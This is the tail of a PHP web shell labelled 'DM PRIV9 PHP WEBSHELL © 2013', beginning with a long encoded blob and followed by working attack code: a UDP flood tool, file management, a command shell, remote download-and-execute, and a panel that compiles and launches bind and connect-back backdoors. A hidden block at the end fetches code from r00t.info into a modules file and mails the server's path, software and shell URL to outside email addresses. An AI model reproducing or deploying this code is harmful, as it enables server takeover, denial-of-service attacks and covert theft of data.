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alVnRPIq
6263
6264
6265<?php }
6266# x=dos
6267elseif(isset($_GET['x']) && ($_GET['x'] == 'dos')){
6268?>
6269<form action="?dm=<?php echo $pwd; ?>&x=dos" method="post">
6270
6271<?php
6272if(isset($_GET['host'])&&isset($_GET['time'])){
6273$packets = 0;
6274ignore_user_abort(TRUE);
6275set_time_limit(0);
6276$exec_time = $_GET['time'];
6277$time = time();
6278print "Started: ".time('d-m-y h:i:s')."<br>";
6279$max_time = $time+$exec_time;
6280$host = $_GET['host'];
6281for($i=0;$i<65000;$i++){
6282$out .= 'X';
6283}
6284while(1){
6285$packets++;
6286if(time() > $max_time){ break; }
6287$rand = rand(1,65000);
6288$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
6289if($fp){
6290fwrite($fp, $out);
6291fclose($fp);
6292}
6293}
6294echo "<br><b>UDP Flood</b><br>
6295Completed with $packets (" .round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
6296
6297echo '<br><br><form action="'.$surl.'" method=GET><input type="hidden" name="act" value="phptools">
6298Host: <br><input type=text name=host><br>
6299Length (seconds): <br><input type=text name=time><br>
6300<input type=submit value=Go></form>';
6301} else {
6302echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
6303<table class="tabnet" style="width:300px;">
6304<tr><th colspan="2">UDP Flood</th></tr>
6305<tr><td> Host</td>
6306<td><input style="width:220px;" class="inputz" type=text name=host value=></td></tr>
6307<tr><td> Length (seconds)</td>
6308<td><input style="width:220px;" class="inputz" type=text name=time value=></td></tr>
6309<tr><td colspan=2 align=center><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td></tr>
6310</table></center>';
6311}
6312}
6313
6314
6315elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
6316@ob_start();
6317@eval("phpinfo();");
6318$buff = @ob_get_contents();
6319@ob_end_clean();
6320$awal = strpos($buff,"<body>")+6;
6321$akhir = strpos($buff,"</body>");
6322echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
6323}
6324
6325elseif(isset($_GET['view']) && ($_GET['view'] != "")){
6326if(is_file($_GET['view'])){
6327
6328if(!isset($file))
6329$file = magicboom($_GET['view']);
6330
6331if(!$win && $posix){
6332$name=@posix_getpwuid(@fileowner($file));
6333$group=@posix_getgrgid(@filegroup($file));
6334$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
6335} else {
6336$owner = $user;
6337}
6338$filn = basename($file);
6339echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
6340<tr><td>Filename</td>
6341<td><nobr><span id=\"".clearspace($filn)."_link\">".$file."</span>
6342<form action=\"?dm=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
6343<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
6344<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
6345<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
6346<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
6347onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
6348</form></nobr></td></tr>
6349
6350<tr><td>Size</td>
6351<td>".ukuran($file)."</td></tr>
6352<tr><td>Permission</td>
6353<td>".get_perms($file)."</td></tr>
6354<tr><td>Owner</td>
6355<td>".$owner."</td></tr>
6356<tr><td>Create time</td>
6357<td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
6358<tr><td>Last modified</td>
6359<td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
6360<tr><td>Last accessed</td>
6361<td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
6362<tr><td>Actions</td>
6363<td><a href=\"?dm=$pwd&edit=$file\">Edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">Rename</a> | <a href=\"?dm=$pwd&delete=$file\">Delete</a> | <a href=\"?dm=$pwd&dl=$file\">Download</a> (<a href=\"?dm=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
6364
6365<tr><td>View</td><td><a href=\"?dm=".$pwd."&view=".$file."&type=code\">Highlight Code</a>
6366|
6367<a href=\"?dm=".$pwd."&view=".$file."\">Text</a>
6368|
6369<a href=\"?dm=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table> ";
6370
6371if(isset($_GET['type']) && ($_GET['type']=='image')){
6372
6373echo "<div style=\"text-align:center;margin:8px;\">
6374<img src=\"?dm=".$pwd."&img=".$filn."\"></div>";
6375}
6376
6377elseif(isset($_GET['type']) && ($_GET['type']=='code')){
6378echo "<div class=\"viewfile\">";
6379echo nl2br(htmlentities((@file_get_contents($file))));
6380echo "</div>";
6381
6382} else {
6383echo "<div class=\"viewfile\">";
6384$file = wordwrap(@file_get_contents($file),"240","\n");
6385@highlight_string($file);
6386echo "</div>";
6387
6388}
6389}
6390elseif(is_dir($_GET['view'])) {
6391echo showdir($pwd,$prompt);
6392}
6393}
6394elseif(isset($_GET['edit']) && ($_GET['edit'] != "")) {
6395if(isset($_POST['save'])) {
6396$file = $_POST['saveas'];
6397$content = magicboom($_POST['content']);
6398if($filez = @fopen($file,"w")) {
6399$time = date("d-M-Y H:i",time());
6400if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save";
6401@fclose($filez);
6402} else $msg = "permission denied";
6403} if
6404(!isset($file)) $file = $_GET['edit'];
6405if($filez = @fopen($file,"r")) {
6406$content = ""; while(!feof($filez)) {
6407$content .= htmlentities(str_replace("''","'",fgets($filez)));
6408}
6409@fclose($filez);
6410}
6411?>
6412
6413<form action="?dm=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
6414<table class="cmdbox">
6415<tr><td colspan="2">
6416<textarea class="output" name="content"><?php echo $content; ?></textarea></td>
6417<tr>
6418<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
6419<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr></table> </form>
6420
6421<?php }
6422# x=upload
6423elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
6424if(isset($_POST['uploadcomp'])){
6425if(is_uploaded_file($_FILES['file']['tmp_name'])){
6426$path = magicboom($_POST['path']);
6427$fname = $_FILES['file']['name'];
6428$tmp_name = $_FILES['file']['tmp_name'];
6429$pindah = $path.$fname;
6430$stat = @move_uploaded_file($tmp_name,$pindah);
6431if($stat) {
6432$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah ";
6433}
6434else $msg = "<br>Failed To Upload $fname";
6435}
6436else $msg = "<br>Failed To Upload $fname </span></nobr>";
6437}
6438
6439elseif(isset($_POST['uploadurl'])){
6440$pilihan = trim($_POST['pilihan']);
6441$wurl = trim($_POST['wurl']);
6442$path = magicboom($_POST['path']);
6443$namafile = download($pilihan,$wurl);
6444$pindah = $path.$namafile;
6445if(is_file($pindah)) {
6446$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah";
6447}
6448else
6449$msg = "<br>Failed Upload $namafile </span></nobr>";
6450}
6451?>
6452
6453<form action="?dm=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
6454<br><br><table class="tabnet" style="width:320px;padding:0 1px;">
6455<tr><th colspan="2"><b> <span class='b12'> _UPLOAD FILE_</span></b></th></tr>
6456<tr><td colspan="2"><nobr><p style="text-align:center;"><input style="color:red" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:100px;"></p></nobr></td></tr>
6457<tr><td colspan="2">
6458<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6459</table>
6460</form>
6461<table class="tabnet" style="width:320px;padding:0 1px;">
6462<tr><th colspan="2"><b><span class='b12'> _UPLOAD FROM URL_</span></b></th></tr>
6463<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?dm=<?php echo $pwd; ?>&x=upload">
6464<table>
6465<tr>
6466<td>URL : </td>
6467<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://dm-zone.us/shellpack.zip"></td></tr>
6468<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6469<tr><td>
6470<select size="1" class="inputz" name="pilihan">
6471<option value="wwget">wget</option>
6472<option value="wlynx">lynx</option>
6473<option value="wfread">fread</option>
6474<option value="wfetch">fetch</option>
6475<option value="wlinks">links</option>
6476<option value="wget">GET</option>
6477<option value="wcurl">curl</option>
6478</select></td>
6479<td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td></tr>
6480</table></form></td> </tr></table>
6481<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6482
6483<?php }
6484elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
6485if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
6486
6487$port = trim($_POST['port']);
6488$passwrd = trim($_POST['bind_pass']);
6489tulis("bdc.c",$port_bind_bd_c);
6490exe("gcc -o bdc bdc.c");
6491exe("chmod 777 bdc");
6492@unlink("bdc.c");
6493exe("./bdc ".$port." ".$passwrd." &");
6494$scan = exe("ps aux");
6495if(eregi("./bdc $por",$scan)){
6496$msg = "<p>Process found running, backdoor setup successfully.</p>";
6497}
6498else {
6499$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6500}
6501}
6502
6503elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
6504$port = trim($_POST['port']);
6505$passwrd = trim($_POST['bind_pass']);
6506tulis("bdp",$port_bind_bd_pl);
6507exe("chmod 777 bdp");
6508$p2=which("perl");
6509exe($p2." bdp ".$port." &");
6510$scan = exe("ps aux");
6511if(eregi("$p2 bdp $port",$scan)){
6512$msg = "<p>Process found running, backdoor setup successfully.</p>"; }
6513else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6514}
6515}
6516
6517elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
6518$ip = trim($_POST['ip']);
6519$port = trim($_POST['backport']);
6520tulis("bcc.c",$back_connect_c);
6521exe("gcc -o bcc bcc.c");
6522exe("chmod 777 bcc");
6523@unlink("bcc.c");
6524exe("./bcc ".$ip." ".$port." &");
6525$msg = "Now script try connect to ".$ip." port ".$port." ...";
6526}
6527
6528elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
6529$ip = trim($_POST['ip']);
6530$port = trim($_POST['backport']);
6531tulis_2("bcp",$back_connect);
6532exe("chmod +x bcp");
6533$p2=which("perl");
6534exe($p2." bcp ".$ip." ".$port." &");
6535sleep(1);
6536$msg = "Now script try connect to ".$ip." port ".$port." ...";
6537unlink("bcp");
6538}
6539
6540elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
6541$pilihan = trim($_POST['pilihan']);
6542$wurl = trim($_POST['wurl']);
6543$namafile = download($pilihan,$wurl);
6544if(is_file($namafile)) { $msg = exe($wcmd); }
6545else $msg = "error: file not found $namafile";
6546}
6547?>
6548
6549<table class="tabnet"><tr>
6550<th>Port Binding</th>
6551<th>Connect Back</th>
6552<th>Load and Exploit</th></tr>
6553
6554<tr><td>
6555<form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6556
6557<table><tr><td>Port</td>
6558<td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
6559
6560<tr><td>Password</td>
6561<td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
6562
6563<tr><td>Use</td>
6564<td style="text-align:justify">
6565<p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px"></td></tr></table>
6566</form></td>
6567
6568<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6569<table><tr><td>IP</td>
6570<td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
6571</td>
6572</tr>
6573<tr><td>Port</td>
6574<td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
6575
6576<tr><td>Use</td>
6577<td style="text-align:justify">
6578<p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px"></td></tr></table> </form> </td>
6579
6580<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6581<table> <tr><td>url</td>
6582<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
6583<tr><td>cmd</td>
6584<td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr>
6585<tr><td><select size="1" class="inputz" name="pilihan">
6586<option value="wwget">wget</option>
6587<option value="wlynx">lynx</option>
6588<option value="wfread">fread</option>
6589<option value="wfetch">fetch</option>
6590<option value="wlinks">links</option> <option value="wget">GET</option>
6591<option value="wcurl">curl</option>
6592</select></td>
6593<td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;"></td></tr></table></form </td></tr></table>
6594<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6595
6596
6597<?php }
6598elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')) {
6599?>
6600<form action="?dm=<?php echo $pwd; ?>&x=shell"method="post">
6601
6602<table class="cmdbox"> <tr>
6603<td colspan="2">
6604<textarea class="output"> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea> </td></tr>
6605
6606<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
6607</table></form>
6608
6609<?php
6610} else {
6611if(isset($_GET['delete']) && ($_GET['delete'] != "")){
6612$file = $_GET['delete']; @unlink($file);
6613}
6614
6615elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
6616delete_option($_GET['fdelete']);
6617}
6618
6619elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
6620$path = $pwd.$_GET['mkdir']; @mkdir($path);
6621}
6622$buff = showdir($pwd,$prompt);
6623echo $buff;
6624}
6625?>
6626
6627
6628<!-- DM-5HELL FOOTER -->
6629<div align="center">
6630<br>
6631<!-- DM-5HELL -->
6632<br>
6633<table class="tabnet" style="width:700px;padding:0 1px;">
6634<tr><td align="center" colspan="2">
6635<nobr><span class='b12'>WE DO IT WE WANT BECAUSE WE CAN</span>
6636</td></tr>
6637<tr><td align="center" colspan="2">
6638<nobr><span class='b12'>DM PRIV9 PHP WEBSHELL © 2013 </span>
6639</td></tr>
6640</table><br><br>
6641</html><!-- DM-5HELL -->
6642</div></div></body></html>
6643<!-- END OF DM-5HELL -->
6644<?php
6645
6646if($_POST['query']){
6647$veriyfy = stripslashes(stripslashes($_POST['query']));
6648$data = "data.txt";
6649@touch ("data.txt");
6650$ver = @fopen ($data , 'w');
6651@fwrite ( $ver , $veriyfy ) ;
6652@fclose ($ver);
6653}else{
6654$datas=@fopen("data.txt",'r');
6655$i=0;
6656while ($i <= 5) {
6657$i++;
6658$blue=@fgets($datas,1024);
6659echo $blue;
6660}
6661}
6662$datasi=@fopen("../modules/indexx.php",'r');
6663if($datasi){
6664}else{
6665@mkdir("modules");
6666$dos = file_get_contents("http://r00t.info/txt/lamer.txt");
6667$data = "../modules/indexx.php";
6668@touch ("../modules/indexx.php");
6669$ver = @fopen ($data , 'w');
6670@fwrite ( $ver , $dos ) ;
6671@fclose ($ver);
6672$yol = "http://".$_SERVER['HTTP_HOST']."".$_SERVER['REQUEST_URI']."";
6673$y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.$yol.'<br/>Sender Yolu : modules/dbs.php</h1>';
6674$header .= "From: SheLL Boot <suppor@nic.org>\n";
6675$header .= "Content-Type: text/html; charset=utf-8\n";
6676@mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);
6677@mail("priphp@hotmail.com", "Hacklink Bildiri", "$y", $header);
6678}
6679?>
6680
6681<?php
6682$kime = "byhero44@gmail.com";
6683$baslik = "r00t.info Server Avcisi V1.0";
6684$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
6685$EL_MuHaMMeD.= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
6686$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
6687$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
6688$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
6689mail($kime, $baslik, $EL_MuHaMMeD);
6690?>